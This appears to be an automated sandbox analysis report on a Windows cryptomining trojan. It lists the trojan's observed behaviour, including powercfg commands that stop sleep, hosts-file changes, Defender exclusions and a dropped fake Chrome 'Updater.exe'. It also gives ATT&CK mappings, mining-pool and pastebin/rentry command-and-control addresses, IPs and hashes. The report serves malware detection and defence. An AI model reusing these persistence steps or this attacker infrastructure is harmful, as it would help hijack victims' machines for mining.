              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformationJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformationJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformationJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformationJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformationJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformationJump to behavior
              Source: C:\Windows\explorer.exeKey value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuidJump to behavior

              Lowering of HIPS / PFW / Operating System Security Settings

              barindex
              Modifies power options to not sleep / hibernate
              Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.9790.15318.exeProcess created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
              Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.9790.15318.exeProcess created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
              Source: C:\ProgramData\GoogleUP\Chrome\Updater.exeProcess created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
              Source: C:\ProgramData\GoogleUP\Chrome\Updater.exeProcess created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
              Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.9790.15318.exeProcess created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0Jump to behavior
              Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.9790.15318.exeProcess created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0Jump to behavior
              Source: C:\ProgramData\GoogleUP\Chrome\Updater.exeProcess created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0Jump to behavior
              Source: C:\ProgramData\GoogleUP\Chrome\Updater.exeProcess created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0Jump to behavior
              Modifies the hosts file
              Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.9790.15318.exeFile written: C:\Windows\System32\drivers\etc\hostsJump to behavior
              Source: explorer.exe, 0000003B.00000003.2173261256.0000000000C43000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000003B.00000003.2173281186.0000000000C51000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000003B.00000002.4492113616.0000000000C3F000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: procexp.exe

              Mitre Att&ck Matrix

              ReconnaissanceResource DevelopmentInitial AccessExecutionPersistencePrivilege EscalationDefense EvasionCredential AccessDiscoveryLateral MovementCollectionCommand and ControlExfiltrationImpact
              Gather Victim Identity InformationAcquire InfrastructureValid Accounts31
              Windows Management Instrumentation              		1
              DLL Side-Loading              		1
              Abuse Elevation Control Mechanism              		1
              File and Directory Permissions Modification              		1
              Credential API Hooking              		133
              System Information Discovery              		Remote Services1
              Archive Collected Data              		1
              Web Service              		Exfiltration Over Other Network MediumAbuse Accessibility Features
              CredentialsDomainsDefault Accounts1
              Service Execution              		11
              Windows Service              		1
              DLL Side-Loading              		1
              Disable or Modify Tools              		LSASS Memory431
              Security Software Discovery              		Remote Desktop Protocol1
              Credential API Hooking              		1
              Ingress Tool Transfer              		Exfiltration Over BluetoothNetwork Denial of Service
              Email AddressesDNS ServerDomain AccountsAtLogon Script (Windows)11
              Windows Service              		1
              Abuse Elevation Control Mechanism              		Security Account Manager1
              Process Discovery              		SMB/Windows Admin SharesData from Network Shared Drive11
              Encrypted Channel              		Automated ExfiltrationData Encrypted for Impact
              Employee NamesVirtual Private ServerLocal AccountsCronLogin Hook311
              Process Injection              		1
              Obfuscated Files or Information              		NTDS141
              Virtualization/Sandbox Evasion              		Distributed Component Object ModelInput Capture1
              Non-Standard Port              		Traffic DuplicationData Destruction
              Gather Victim Network InformationServerCloud AccountsLaunchdNetwork Logon ScriptNetwork Logon Script1
              DLL Side-Loading              		LSA Secrets1
              Application Window Discovery              		SSHKeylogging2
              Non-Application Layer Protocol              		Scheduled TransferData Encrypted for Impact
              Domain PropertiesBotnetReplication Through Removable MediaScheduled TaskRC ScriptsRC Scripts1
              File Deletion              		Cached Domain Credentials1
              Remote System Discovery              		VNCGUI Input Capture3
              Application Layer Protocol              		Data Transfer Size LimitsService Stop
              DNSWeb ServicesExternal Remote ServicesSystemd TimersStartup ItemsStartup Items1
              Masquerading              		DCSyncRemote System DiscoveryWindows Remote ManagementWeb Portal CaptureCommonly Used PortExfiltration Over C2 ChannelInhibit System Recovery
              Network Trust DependenciesServerlessDrive-by CompromiseContainer Orchestration JobScheduled Task/JobScheduled Task/Job141
              Virtualization/Sandbox Evasion              		Proc FilesystemSystem Owner/User DiscoveryCloud ServicesCredential API HookingApplication Layer ProtocolExfiltration Over Alternative ProtocolDefacement
              Network TopologyMalvertisingExploit Public-Facing ApplicationCommand and Scripting InterpreterAtAt311
              Process Injection              		/etc/passwd and /etc/shadowNetwork SniffingDirect Cloud VM ConnectionsData StagedWeb ProtocolsExfiltration Over Symmetric Encrypted Non-C2 ProtocolInternal Defacement

              Behavior Graph

              Hide Legend

              Legend:

              • Process
              • Signature
              • Created File
              • DNS/IP Info
              • Is Dropped
              • Is Windows Process
              • Number of created Registry Values
              • Number of created Files
              • Visual Basic
              • Delphi
              • Java
              • .Net C# or VB.NET
              • C, C++ or other language
              • Is malicious
              • Internet
              behaviorgraph top1 dnsIp2 2 Behavior Graph ID: 1486951 Sample: SecuriteInfo.com.Win64.Evo-... Startdate: 02/08/2024 Architecture: WINDOWS Score: 100 64 xmr-eu1.nanopool.org 2->64 66 pastebin.com 2->66 76 Multi AV Scanner detection for submitted file 2->76 78 Yara detected Xmrig cryptocurrency miner 2->78 80 Sigma detected: Stop EventLog 2->80 86 5 other signatures 2->86 8 Updater.exe 1 2->8         started        12 SecuriteInfo.com.Win64.Evo-gen.9790.15318.exe 1 3 2->12         started        14 svchost.exe 2->14         started        signatures3 82 DNS related to crypt mining pools 64->82 84 Connects to a pastebin service (likely for C&C) 66->84 process4 file5 52 C:\Windows\Temp\xeorhgblkian.sys, PE32+ 8->52 dropped 88 Multi AV Scanner detection for dropped file 8->88 90 Overwrites code with unconditional jumps - possibly settings hooks in foreign process 8->90 92 Machine Learning detection for dropped file 8->92 100 6 other signatures 8->100 16 explorer.exe 8->16         started        20 powershell.exe 23 8->20         started        22 cmd.exe 1 8->22         started        30 10 other processes 8->30 54 C:\ProgramDatabehaviorgraphoogleUP\Chrome\Updater.exe, PE32+ 12->54 dropped 56 C:\Windows\System32\drivers\etc\hosts, ASCII 12->56 dropped 94 Uses powercfg.exe to modify the power settings 12->94 96 Modifies the hosts file 12->96 98 Adds a directory exclusion to Windows Defender 12->98 24 powershell.exe 22 12->24         started        26 cmd.exe 1 12->26         started        28 powercfg.exe 1 12->28         started        32 12 other processes 12->32 signatures6 process7 dnsIp8 58 146.59.154.106, 10343, 49706 OVHFR Norway 16->58 60 54.37.232.103, 10343, 49704 OVHFR France 16->60 62 pastebin.com 104.20.3.235, 443, 49705 CLOUDFLARENETUS United States 16->62 68 System process connects to network (likely due to code injection or exploit) 16->68 70 Query firmware table information (likely to detect VMs) 16->70 72 Tries to detect sandboxes and other dynamic analysis tools (process name or module or function) 16->72 74 Loading BitLocker PowerShell Module 20->74 34 conhost.exe 20->34         started        46 2 other processes 22->46 36 conhost.exe 24->36         started        38 conhost.exe 26->38         started        40 wusa.exe 26->40         started        42 conhost.exe 28->42         started        48 9 other processes 30->48 44 conhost.exe 32->44         started        50 11 other processes 32->50 signatures9 process10

              Screenshots

              Thumbnails

              This section contains all screenshots as thumbnails, including those not shown in the slideshow.


              windows-stand

              Antivirus, Machine Learning and Genetic Malware Detection

              Initial Sample

              SourceDetectionScannerLabelLink
              SecuriteInfo.com.Win64.Evo-gen.9790.15318.exe68%ReversingLabsWin64.Trojan.Reflo
              SecuriteInfo.com.Win64.Evo-gen.9790.15318.exe100%Joe Sandbox ML

              Dropped Files

              SourceDetectionScannerLabelLink
              C:\ProgramData\GoogleUP\Chrome\Updater.exe100%Joe Sandbox ML
              C:\ProgramData\GoogleUP\Chrome\Updater.exe68%ReversingLabsWin64.Trojan.Reflo
              C:\Windows\Temp\xeorhgblkian.sys5%ReversingLabs

              Unpacked PE Files

              ⊘No Antivirus matches

              Domains

              ⊘No Antivirus matches

              URLs

              SourceDetectionScannerLabelLink
              http://ocsp.cloudflare.com/origin_ca0%Avira URL Cloudsafe
              http://crl.cloudflare.com/origin_ca.crl00%Avira URL Cloudsafe
              http://ocsp.cloudflare.com/origin_ca00%Avira URL Cloudsafe
              https://pastebin.com/raw/vtH4ka4Q0%Avira URL Cloudsafe
              https://rentry.co/vwepprbb/raw--cinit-stealth-targets=Taskmgr.exe0%Avira URL Cloudsafe
              https://rentry.co/vwepprbb/raw0%Avira URL Cloudsafe
              http://crl.cloudflare.com/origin_ca.crlr0%Avira URL Cloudsafe
              http://crl.cloudflare.com/origin_ca.crllU0%Avira URL Cloudsafe
              https://rentry.co/vwepprbb/rawtQ0%Avira URL Cloudsafe
              http://ocsp.cloudflare.com/origin_caW0%Avira URL Cloudsafe
              https://rentry.co/vwepprbb/rawkN0%Avira URL Cloudsafe
              http://crl.cloudflare.com/origin_ca.crl0%Avira URL Cloudsafe

              Domains and IPs

              Contacted Domains

              NameIPActiveMaliciousAntivirus DetectionReputation
              xmr-eu1.nanopool.org
              		51.15.65.182
              		truetrue
                		unknown
                pastebin.com
                		104.20.3.235
                		truetrue
                  		unknown

                  Contacted URLs

                  NameMaliciousAntivirus DetectionReputation
                  https://pastebin.com/raw/vtH4ka4Qtrue
                  • Avira URL Cloud: safe
                  		unknown

                  URLs from Memory and Binaries

                  NameSourceMaliciousAntivirus DetectionReputation
                  http://crl.cloudflare.com/origin_ca.crllUexplorer.exe, 0000003B.00000002.4492113616.0000000000BFE000.00000004.00000020.00020000.00000000.sdmpfalse
                  • Avira URL Cloud: safe
                  		unknown
                  http://crl.cloudflare.com/origin_ca.crl0explorer.exe, 0000003B.00000002.4492983772.0000000001610000.00000004.00000020.00020000.00000000.sdmpfalse
                  • Avira URL Cloud: safe
                  		unknown
                  http://ocsp.cloudflare.com/origin_caexplorer.exe, 0000003B.00000002.4492983772.0000000001610000.00000004.00000020.00020000.00000000.sdmpfalse
                  • Avira URL Cloud: safe
                  		unknown
                  http://ocsp.cloudflare.com/origin_caWexplorer.exe, 0000003B.00000002.4492983772.0000000001610000.00000004.00000020.00020000.00000000.sdmpfalse
                  • Avira URL Cloud: safe
                  		unknown
                  https://rentry.co/vwepprbb/rawexplorer.exe, 0000003B.00000002.4492983772.0000000001610000.00000004.00000020.00020000.00000000.sdmpfalse
                  • Avira URL Cloud: safe
                  		unknown
                  https://rentry.co/vwepprbb/raw--cinit-stealth-targets=Taskmgr.exeexplorer.exe, 0000003B.00000002.4492113616.0000000000BA5000.00000004.00000020.00020000.00000000.sdmpfalse
                  • Avira URL Cloud: safe
                  		unknown
                  http://crl.cloudflare.com/origin_ca.crlrexplorer.exe, 0000003B.00000002.4492983772.0000000001610000.00000004.00000020.00020000.00000000.sdmpfalse
                  • Avira URL Cloud: safe
                  		unknown
                  https://rentry.co/vwepprbb/rawtQexplorer.exe, 0000003B.00000003.2173261256.0000000000C43000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000003B.00000002.4492113616.0000000000C3F000.00000004.00000020.00020000.00000000.sdmpfalse
                  • Avira URL Cloud: safe
                  		unknown
                  http://ocsp.cloudflare.com/origin_ca0explorer.exe, 0000003B.00000002.4492113616.0000000000BFE000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000003B.00000002.4492983772.0000000001610000.00000004.00000020.00020000.00000000.sdmpfalse
                  • Avira URL Cloud: safe
                  		unknown
                  https://rentry.co/vwepprbb/rawkNexplorer.exe, 0000003B.00000002.4492983772.0000000001610000.00000004.00000020.00020000.00000000.sdmpfalse
                  • Avira URL Cloud: safe
                  		unknown
                  http://crl.cloudflare.com/origin_ca.crlexplorer.exe, 0000003B.00000002.4492983772.0000000001610000.00000004.00000020.00020000.00000000.sdmpfalse
                  • Avira URL Cloud: safe
                  		unknown

                  World Map of Contacted IPs

                  • No. of IPs < 25%
                  • 25% < No. of IPs < 50%
                  • 50% < No. of IPs < 75%
                  • 75% < No. of IPs

                  Public IPs

                  IPDomainCountryFlagASNASN NameMalicious
                  104.20.3.235
                  		pastebin.comUnited States
                  		13335CLOUDFLARENETUStrue
                  54.37.232.103
                  		unknownFrance
                  		16276OVHFRtrue
                  146.59.154.106
                  		unknownNorway
                  		16276OVHFRtrue

                  General Information

                  Joe Sandbox version:40.0.0 Tourmaline
                  Analysis ID:1486951
                  Start date and time:2024-08-02 19:24:12 +02:00
                  Joe Sandbox product:CloudBasic
                  Overall analysis duration:0h 9m 32s
                  Hypervisor based Inspection enabled:false
                  Report type:full
                  Cookbook file name:default.jbs
                  Analysis system description:Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
                  Number of analysed new started processes analysed:63
                  Number of new started drivers analysed:0
                  Number of existing processes analysed:0
                  Number of existing drivers analysed:0
                  Number of injected processes analysed:0
                  Technologies:
                  • HCA enabled
                  • EGA enabled
                  • AMSI enabled
                  Analysis Mode:default
                  Analysis stop reason:Timeout
                  Sample name:SecuriteInfo.com.Win64.Evo-gen.9790.15318.exe
                  Detection:MAL
                  Classification:mal100.troj.adwa.spyw.evad.mine.winEXE@86/13@2/3
                  EGA Information:
                  • Successful, ratio: 100%
                  HCA Information:
                  • Successful, ratio: 100%
                  • Number of executed functions: 1
                  • Number of non-executed functions: 10
                  Cookbook Comments:
                  • Found application associated with file extension: .exe
                  • Override analysis time to 240000 for current running targets taking high CPU consumption

                  Warnings

                  • Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe, WmiPrvSE.exe
                  • Excluded IPs from analysis (whitelisted): 40.127.169.103, 93.184.221.240, 20.242.39.171, 20.166.126.56
                  • Excluded domains from analysis (whitelisted): slscr.update.microsoft.com, ctldl.windowsupdate.com.delivery.microsoft.com, wu.ec.azureedge.net, ctldl.windowsupdate.com, wu.azureedge.net, fe3cr.delivery.mp.microsoft.com, fe3.delivery.mp.microsoft.com, ocsp.digicert.com, bg.apr-52dd2-0503.edgecastdns.net, cs11.wpc.v0cdn.net, glb.cws.prod.dcat.dsp.trafficmanager.net, sls.update.microsoft.com, hlb.apr-52dd2-0.edgecastdns.net, wu-b-net.trafficmanager.net, glb.sls.prod.dcat.dsp.trafficmanager.net
                  • Not all processes where analyzed, report is missing behavior information
                  • Report size exceeded maximum capacity and may have missing behavior information.
                  • Report size getting too big, too many NtCreateKey calls found.
                  • Report size getting too big, too many NtOpenKeyEx calls found.
                  • Report size getting too big, too many NtQueryValueKey calls found.
                  • VT rate limit hit for: SecuriteInfo.com.Win64.Evo-gen.9790.15318.exe

                  Simulations

                  Behavior and APIs

                  TimeTypeDescription
                  13:25:04API Interceptor1x Sleep call for process: SecuriteInfo.com.Win64.Evo-gen.9790.15318.exe modified
                  13:25:06API Interceptor32x Sleep call for process: powershell.exe modified

                  Joe Sandbox View / Context

                  IPs

                  MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                  104.20.3.235New Voicemail Invoice 64746w .jsGet hashmaliciousWSHRATBrowse
                  • pastebin.com/raw/NsQ5qTHr
                  Invoice-883973938.jsGet hashmaliciousWSHRATBrowse
                  • pastebin.com/raw/NsQ5qTHr
                  2024 12_59_31 a.m..jsGet hashmaliciousWSHRATBrowse
                  • pastebin.com/raw/NsQ5qTHr
                  PendingInvoiceBankDetails.JS.jsGet hashmaliciousWSHRATBrowse
                  • pastebin.com/raw/NsQ5qTHr
                  54.37.232.103setup.exeGet hashmaliciousXmrigBrowse
                    SecuriteInfo.com.Win64.TrojanX-gen.22735.27744.exeGet hashmaliciousXmrigBrowse
                      146.59.154.106RPHbzz3JqY.exeGet hashmaliciousScreenConnect Tool, PureLog Stealer, RedLine, Xmrig, zgRATBrowse
                        2mim34IfQZ.exeGet hashmaliciousAsyncRAT, PureLog Stealer, Xmrig, zgRATBrowse

                          Domains

                          MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                          xmr-eu1.nanopool.orgsetup.exeGet hashmaliciousXmrigBrowse
                          • 51.15.58.224
                          Xbox.exeGet hashmaliciousXWorm, XmrigBrowse
                          • 162.19.224.121
                          25C1.exeGet hashmaliciousGlupteba, XmrigBrowse
                          • 51.15.193.130
                          file.exeGet hashmaliciousAmadey, Babadeda, Stealc, Vidar, XmrigBrowse
                          • 54.37.137.114
                          Loader.exeGet hashmaliciousLummaC, XmrigBrowse
                          • 212.47.253.124
                          updater.exeGet hashmaliciousXmrigBrowse
                          • 141.94.23.83
                          SecuriteInfo.com.Win64.RATX-gen.29355.29242.exeGet hashmaliciousAsyncRAT, Nbminer, XmrigBrowse
                          • 54.37.232.103
                          serrrr.exeGet hashmaliciousXmrigBrowse
                          • 51.15.193.130
                          2mim34IfQZ.exeGet hashmaliciousAsyncRAT, PureLog Stealer, Xmrig, zgRATBrowse
                          • 212.47.253.124
                          gq83mrprwy.exeGet hashmaliciousXmrigBrowse
                          • 212.47.253.124
                          pastebin.comsetup.exeGet hashmaliciousXmrigBrowse
                          • 172.67.19.24
                          setup.exeGet hashmaliciousXWormBrowse
                          • 172.67.19.24
                          SolaraModified.exeGet hashmaliciousXWormBrowse
                          • 104.20.3.235
                          E5r67vtBtc6.exeGet hashmaliciousXmrigBrowse
                          • 104.20.4.235
                          Miner-XMR2.exeGet hashmaliciousXmrigBrowse
                          • 104.20.3.235
                          WcBQ1Er7ys.exeGet hashmaliciousDCRatBrowse
                          • 104.20.3.235
                          VhaWmJu2Sz.exeGet hashmaliciousDCRatBrowse
                          • 104.20.4.235
                          receipt-016.vbsGet hashmaliciousRemcos, AsyncRAT, XWormBrowse
                          • 104.20.4.235
                          83MZfLKh7D.exeGet hashmaliciousAsyncRAT, Discord Token Stealer, Luca Stealer, MicroClip, RedLineBrowse
                          • 104.20.3.235
                          n6o0pd9pZC.exeGet hashmaliciousXmrigBrowse
                          • 104.20.4.235

                          ASNs

                          MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                          CLOUDFLARENETUSSetup.exeGet hashmaliciousUnknownBrowse
                          • 104.18.26.149
                          https://acrylicwifi.com/AcrylicWifi/downloads/AcrylicDownload.php?product%5C=analyzerGet hashmaliciousUnknownBrowse
                          • 172.66.42.234
                          setup.exeGet hashmaliciousAmadey, Babadeda, Stealc, VidarBrowse
                          • 172.64.41.3
                          https://brudetieindustrialcom.freshdesk.com/en/support/solutions/articles/154000181622-new-pdf-document-shared-with-youGet hashmaliciousHTMLPhisherBrowse
                          • 104.17.25.14
                          https://cutt.ly/RejPFR2S?USe=HRp5x0X6WRGet hashmaliciousUnknownBrowse
                          • 104.21.33.122
                          http://www.gouv-link.com/reglementGet hashmaliciousUnknownBrowse
                          • 1.1.1.1
                          http://deffarma.com.br/dayo/aqu7x/cGhpc2hpbmdAYW1hem9uLmNvbQ==Get hashmaliciousHTMLPhisherBrowse
                          • 1.1.1.1
                          setup.exeGet hashmaliciousXmrigBrowse
                          • 172.67.19.24
                          https://us-west-2.protection.sophos.com/?d=www.qub.ac.uk:80&u=aHR0cDovL3d3dy5xdWIuYWMudWs6ODAvY2dpLWJpbi9hd3JlZGlyLnBsP3RhZz1xb2xhZG1pbnpvbmVwYXBlciZ1cmw9aHR0cHM6Ly9NU09GVF9ET0NVU0lHTl9WRVJJRklDQVRJT05fU0VDVVJFRC1ET0NfT0ZGSUNFLnphdHJkZy5jb20vcGFnZS1hdXRoZW50aWNhdGlvbi90Yzk1cWE2ejJhM2prc3h0d21hY2txdXRzeXdrdHI0ZDZneGY3MHhia3Nnend0bGphdi9TY3M=&i=NjYxNTM4MDZlODUyMzI3MTgyMDg3OWRj&t=QVhPeXk5N2FTT2kwS01sUTZPdWtjMitCNnJPYXQ3QkNqRVdnS2dBVUxjVT0=&h=94b78c65a45e4051a50666d826fcc7d9&s=AVNPUEhUT0NFTkNSWVBUSVZjJiXkv4M8K2bVMFnw-0MTb6Ltl3CEuIQzTUv0EqA5XOsg5_Kf4S_qfX-BzPPb9Wo2IZulDC238gpPJ35Gz0Tj8DmzL6DsKCOs71T5CI_hmwGet hashmaliciousHTMLPhisherBrowse
                          • 188.114.96.3
                          https://proposalbidpamojabags.wordpress.com/Get hashmaliciousUnknownBrowse
                          • 188.114.96.3
                          OVHFRsetup.exeGet hashmaliciousXmrigBrowse
                          • 54.37.232.103
                          E5r67vtBtc6.exeGet hashmaliciousXmrigBrowse
                          • 51.195.43.17
                          Miner-XMR2.exeGet hashmaliciousXmrigBrowse
                          • 51.195.43.17
                          Kqa1eRWicR.elfGet hashmaliciousMirai, OkiruBrowse
                          • 51.81.234.167
                          ZXIYF2Kbjo.elfGet hashmaliciousMirai, Gafgyt, OkiruBrowse
                          • 51.81.234.167
                          mwYPatEnMP.elfGet hashmaliciousMirai, Gafgyt, OkiruBrowse
                          • 51.81.234.167
                          pCsJu4OtkN.elfGet hashmaliciousMirai, Gafgyt, OkiruBrowse
                          • 51.81.234.167
                          .zMousse.phpGet hashmaliciousUnknownBrowse
                          • 54.38.209.89
                          Nr8akI1QzL.elfGet hashmaliciousMirai, MoobotBrowse
                          • 51.161.74.224
                          hvmBCe45I1.exeGet hashmaliciousGo InjectorBrowse
                          • 149.56.19.201
                          OVHFRsetup.exeGet hashmaliciousXmrigBrowse
                          • 54.37.232.103
                          E5r67vtBtc6.exeGet hashmaliciousXmrigBrowse
                          • 51.195.43.17
                          Miner-XMR2.exeGet hashmaliciousXmrigBrowse
                          • 51.195.43.17
                          Kqa1eRWicR.elfGet hashmaliciousMirai, OkiruBrowse
                          • 51.81.234.167
                          ZXIYF2Kbjo.elfGet hashmaliciousMirai, Gafgyt, OkiruBrowse
                          • 51.81.234.167
                          mwYPatEnMP.elfGet hashmaliciousMirai, Gafgyt, OkiruBrowse
                          • 51.81.234.167
                          pCsJu4OtkN.elfGet hashmaliciousMirai, Gafgyt, OkiruBrowse
                          • 51.81.234.167
                          .zMousse.phpGet hashmaliciousUnknownBrowse
                          • 54.38.209.89
                          Nr8akI1QzL.elfGet hashmaliciousMirai, MoobotBrowse
                          • 51.161.74.224
                          hvmBCe45I1.exeGet hashmaliciousGo InjectorBrowse
                          • 149.56.19.201

                          JA3 Fingerprints

                          ⊘No context

                          Dropped Files

                          MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                          C:\Windows\Temp\xeorhgblkian.syssetup.exeGet hashmaliciousXmrigBrowse
                            Xbox.exeGet hashmaliciousXWorm, XmrigBrowse
                              E5r67vtBtc6.exeGet hashmaliciousXmrigBrowse
                                Miner-XMR2.exeGet hashmaliciousXmrigBrowse
                                  DNQuHRCp7X.exeGet hashmaliciousBlank Grabber, XmrigBrowse
                                    n6o0pd9pZC.exeGet hashmaliciousXmrigBrowse
                                      lfjG1UlwP1.exeGet hashmaliciousLummaC, XmrigBrowse
                                        SecuriteInfo.com.Trojan.InjectNET.17.32646.13700.exeGet hashmaliciousLummaC, XmrigBrowse
                                          SecuriteInfo.com.FileRepMalware.25250.22977.exeGet hashmaliciousXmrigBrowse
                                            C0ED98D08381257B540A04C0868ECD6A628649AA70FEBCBE03778BAE532FB5BE.exeGet hashmaliciousBdaejec, BitCoin Miner, XmrigBrowse

                                              Created / dropped Files

                                              C:\ProgramData\GoogleUP\Chrome\Updater.exe

                                              Download File
                                              Process:C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.9790.15318.exe
                                              File Type:PE32+ executable (GUI) x86-64, for MS Windows
                                              Category:dropped
                                              Size (bytes):9701376
                                              Entropy (8bit):7.960067403420893
                                              Encrypted:false
                                              SSDEEP:196608:RNPW2PdkNsUE5pWMF0PJqQFcVYjV7VHSrTEitDuTw+HCwL:Lu5NGwAQx3SskDu8
                                              MD5:DD3AA70ADBE7894D6705DDB398155628
                                              SHA1:BB1A69A94A1FB87E934657F582A06E716305A94C
                                              SHA-256:6B32EC90229466753E03BA4D9EB0C4EB225B8CA2FC5BEEA04F1CA4A887907C6B
                                              SHA-512:1276AECFDC27830474D19360C4B975A1B432BFFE4B1E12088D9363D931253ADEAE8781F32AF5728BA2980FAD60DFC8A4A9B685E450A198CD2DD5B207D119998D
                                              Malicious:true
                                              Antivirus:
                                              • Antivirus: Joe Sandbox ML, Detection: 100%
                                              • Antivirus: ReversingLabs, Detection: 68%
                                              Preview:MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..d...E..f.........."......$....Q.....i..........@............................. ............`.................................................h...............0...................................................P.......8............P...............................text...v".......................... ..`.rdata..$2...@......................@..@.data...X.O.........................@....pdata.......pQ.....................@..@.00cfg........Q.....................@..@.tls..........Q.....................@....vmp0...._5...Q.....................`..`.vmp1...(..........................`..h.reloc..............................@..@.rsrc...............................@..@........................................................................................................................................................................................................................

                                              C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                                              Download File
                                              Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                              File Type:data
                                              Category:dropped
                                              Size (bytes):64
                                              Entropy (8bit):1.1940658735648508
                                              Encrypted:false
                                              SSDEEP:3:Nlllul3nqth:NllUa
                                              MD5:851531B4FD612B0BC7891B3F401A478F
                                              SHA1:483F0D1E71FB0F6EFF159AA96CC82422CF605FB3
                                              SHA-256:383511F73A5CE9C50CD95B6321EFA51A8C6F18192BEEBBD532D4934E3BC1071F
                                              SHA-512:A22D105E9F63872406FD271EF0A545BD76974C2674AEFF1B3256BCAC3C2128B9B8AA86B993A53BF87DBAC12ED8F00DCCAFD76E8BA431315B7953656A4CB4E931
                                              Malicious:false
                                              Preview:@...e.................................&..............@..........

                                              C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ew2sy3ht.sga.ps1

                                              Download File
                                              Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                              File Type:ASCII text, with no line terminators
                                              Category:dropped
                                              Size (bytes):60
                                              Entropy (8bit):4.038920595031593
                                              Encrypted:false
                                              SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                              MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                              SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                              SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                              SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                              Malicious:false
                                              Preview:# PowerShell test file to determine AppLocker lockdown mode

                                              C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_fnkyfqmw.rew.psm1

                                              Download File
                                              Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                              File Type:ASCII text, with no line terminators
                                              Category:dropped
                                              Size (bytes):60
                                              Entropy (8bit):4.038920595031593
                                              Encrypted:false
